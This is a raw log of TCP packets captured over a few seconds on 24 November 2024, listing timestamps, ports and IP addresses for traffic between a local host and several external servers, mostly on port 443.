Nov 24, 2024 04:23:49.097594976 CET	50009	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:49.098052025 CET	50009	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:49.098064899 CET	443	50009	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:49.101773024 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.101793051 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.101845980 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.101867914 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.101887941 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.102114916 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.107742071 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.107764006 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.107826948 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.107845068 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.107858896 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.107891083 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.107906103 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.107954025 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.119626045 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.119689941 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.119877100 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.119890928 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.120034933 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.140192986 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.140237093 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.142184019 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.142220020 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.142951012 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.390996933 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.391031027 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.391078949 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.391098022 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.391112089 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.391235113 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.391263962 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.392266989 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.508876085 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.509002924 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.509052038 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.509160995 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.509244919 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.509319067 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.509510040 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.509536028 CET	49976	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.509572983 CET	443	49976	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.510164976 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.510183096 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.510200024 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.511039972 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.511054039 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.511101961 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.512378931 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.512388945 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.512429953 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.512434006 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.514611959 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.514617920 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.516036987 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.516042948 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.516087055 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.516091108 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.516149998 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.516155005 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.516165972 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.517797947 CET	443	49999	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.518330097 CET	443	50000	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.518727064 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.518732071 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.519378901 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.521023035 CET	443	50001	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.521940947 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.522267103 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.522721052 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.522809029 CET	50000	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.522818089 CET	443	50000	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.522892952 CET	49999	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.522902012 CET	443	49999	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.523113966 CET	443	49998	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:49.523137093 CET	443	50000	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.523215055 CET	443	49999	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.523650885 CET	49998	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:49.523657084 CET	50000	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.523718119 CET	443	50000	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.523789883 CET	50001	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.523802042 CET	443	50001	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.524358034 CET	49999	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.524439096 CET	443	49999	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.524883032 CET	443	50001	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.524975061 CET	50001	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.525286913 CET	50001	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.525350094 CET	443	50001	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.534177065 CET	49998	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:49.534188032 CET	443	49998	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:49.534271955 CET	49998	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:49.534461975 CET	443	49998	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:49.534615993 CET	50011	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:49.534687996 CET	49998	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:49.534720898 CET	443	50011	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:49.534936905 CET	50011	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:49.536215067 CET	50011	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:49.536250114 CET	443	50011	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:49.577013016 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:49.606637955 CET	50000	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.631783962 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.631831884 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.631906986 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.631925106 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.632411003 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.645144939 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.645167112 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.645184040 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.645224094 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.645241976 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.645272017 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.645309925 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.645320892 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.645359993 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.655504942 CET	49983	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:49.660496950 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.660516977 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.660535097 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.660578966 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.660598993 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.660615921 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.669104099 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:49.669658899 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.669672012 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.671565056 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.671585083 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.671614885 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.671648026 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.671665907 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.671835899 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.679342985 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.679486036 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.680349112 CET	50012	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:49.684602976 CET	49999	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.684778929 CET	50001	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.684808016 CET	443	50001	142.251.40.163	192.168.2.5
Nov 24, 2024 04:23:49.685250998 CET	49977	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.685264111 CET	443	49977	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.775125027 CET	80	49983	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:49.775641918 CET	49983	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:49.788532019 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:49.790777922 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:49.793190956 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:49.799792051 CET	80	50012	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:49.802491903 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.802519083 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.805707932 CET	50012	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:49.805756092 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:49.805777073 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.805999041 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:49.806008101 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:49.808866978 CET	50012	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:49.872304916 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:49.872963905 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:49.872987986 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:49.874015093 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:49.874078989 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:49.875567913 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:49.875631094 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:49.875718117 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:49.881611109 CET	50001	443	192.168.2.5	142.251.40.163
Nov 24, 2024 04:23:49.912625074 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:49.915980101 CET	443	49997	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:49.916887045 CET	49997	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:49.916912079 CET	443	49997	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:49.917426109 CET	49997	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:49.917432070 CET	443	49997	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:49.919326067 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:49.928394079 CET	80	50012	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:50.087341070 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:50.088835955 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:50.103884935 CET	50016	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.103915930 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:50.104113102 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.104140997 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:50.104295015 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.104304075 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:50.104460955 CET	50019	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.104468107 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:50.104620934 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.104693890 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:50.104804039 CET	50016	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.104825020 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.104829073 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.105071068 CET	50019	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.105073929 CET	50016	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.105078936 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.105086088 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:50.105178118 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.105221987 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:50.105259895 CET	50019	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.105274916 CET	443	50019	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:50.105353117 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.105365992 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:50.105439901 CET	50017	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:50.105446100 CET	443	50017	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:50.255613089 CET	443	50008	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.256127119 CET	50008	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.256149054 CET	443	50008	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.256541967 CET	50008	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.256548882 CET	443	50008	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.279696941 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:50.279716969 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:50.279779911 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:50.279789925 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:50.282232046 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:50.282527924 CET	50002	443	192.168.2.5	23.96.180.189
Nov 24, 2024 04:23:50.282543898 CET	443	50002	23.96.180.189	192.168.2.5
Nov 24, 2024 04:23:50.355784893 CET	443	50007	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.358403921 CET	50007	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.358427048 CET	443	50007	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.359065056 CET	443	49997	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.359283924 CET	50007	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.359289885 CET	443	50007	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.362170935 CET	443	49997	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.362386942 CET	49997	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.362416983 CET	49997	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.362432003 CET	443	49997	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.362442017 CET	49997	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.362452030 CET	443	49997	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.365293980 CET	50021	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.365326881 CET	443	50021	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.365387917 CET	50021	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.365549088 CET	50021	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.365561008 CET	443	50021	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.413985014 CET	443	50006	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.414475918 CET	50006	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.414488077 CET	443	50006	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.414922953 CET	50006	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.414927959 CET	443	50006	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.695804119 CET	443	50008	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.698183060 CET	443	50008	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.698487997 CET	50008	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.698540926 CET	50008	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.698559046 CET	443	50008	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.698574066 CET	50008	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.698585987 CET	443	50008	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.701092005 CET	50022	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.701129913 CET	443	50022	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.701256037 CET	50022	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.701555967 CET	50022	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.701567888 CET	443	50022	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.759481907 CET	443	50011	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:50.759581089 CET	50011	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:50.767713070 CET	50011	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:50.767736912 CET	443	50011	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:50.767803907 CET	50011	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:50.768232107 CET	443	50011	34.117.188.166	192.168.2.5
Nov 24, 2024 04:23:50.768594980 CET	50011	443	192.168.2.5	34.117.188.166
Nov 24, 2024 04:23:50.792586088 CET	443	50007	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.795778036 CET	443	50007	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.795838118 CET	443	50007	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.795861006 CET	50007	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.797079086 CET	50007	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.797348022 CET	50007	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.797360897 CET	443	50007	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.797370911 CET	50007	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.797377110 CET	443	50007	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.802869081 CET	50023	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.802891970 CET	443	50023	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.808870077 CET	50023	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.809248924 CET	50023	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.809253931 CET	443	50023	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.858597040 CET	443	50006	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.861645937 CET	443	50006	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.863941908 CET	443	50009	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.865406990 CET	50006	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.868666887 CET	50006	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.868680954 CET	443	50006	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.868690968 CET	50006	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.868696928 CET	443	50006	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.870244026 CET	50009	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.870254993 CET	443	50009	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.873421907 CET	50009	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.873425961 CET	443	50009	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.878263950 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:50.881438017 CET	50024	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.881470919 CET	443	50024	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.881850958 CET	50024	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.896651983 CET	50024	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:50.896663904 CET	443	50024	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:50.932238102 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:51.246517897 CET	80	50012	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:51.247596025 CET	50012	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:51.302280903 CET	49703	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:23:51.305651903 CET	443	50009	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:51.305689096 CET	443	50009	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:51.305743933 CET	443	50009	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:51.305794954 CET	50009	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:51.305866957 CET	50009	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:51.306369066 CET	50009	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:51.306369066 CET	50009	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:51.306386948 CET	443	50009	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:51.306396008 CET	443	50009	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:51.309906006 CET	50027	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:51.309937954 CET	443	50027	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:51.310247898 CET	50027	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:51.310709953 CET	50027	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:51.310720921 CET	443	50027	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:51.459944010 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.460453033 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.460458040 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.460828066 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.461385965 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.461462021 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.461622000 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.507333040 CET	443	50015	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.515782118 CET	50015	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.549537897 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:51.549586058 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:51.550050020 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:51.550666094 CET	50028	443	192.168.2.5	142.250.64.78
Nov 24, 2024 04:23:51.550683022 CET	443	50028	142.250.64.78	192.168.2.5
Nov 24, 2024 04:23:51.834806919 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.835125923 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.835150003 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.836225033 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.836698055 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.836993933 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.837032080 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.837111950 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.837201118 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.837410927 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.837476969 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.838502884 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.838570118 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.838825941 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.838901997 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.838923931 CET	50020	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.883326054 CET	443	50020	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.883338928 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.889486074 CET	50018	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.889493942 CET	443	50018	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.907104015 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.907334089 CET	50016	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:51.907340050 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.907659054 CET	443	50016	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:51.907787085 CET	50020	443	192.168.2.5	13.107.246.40
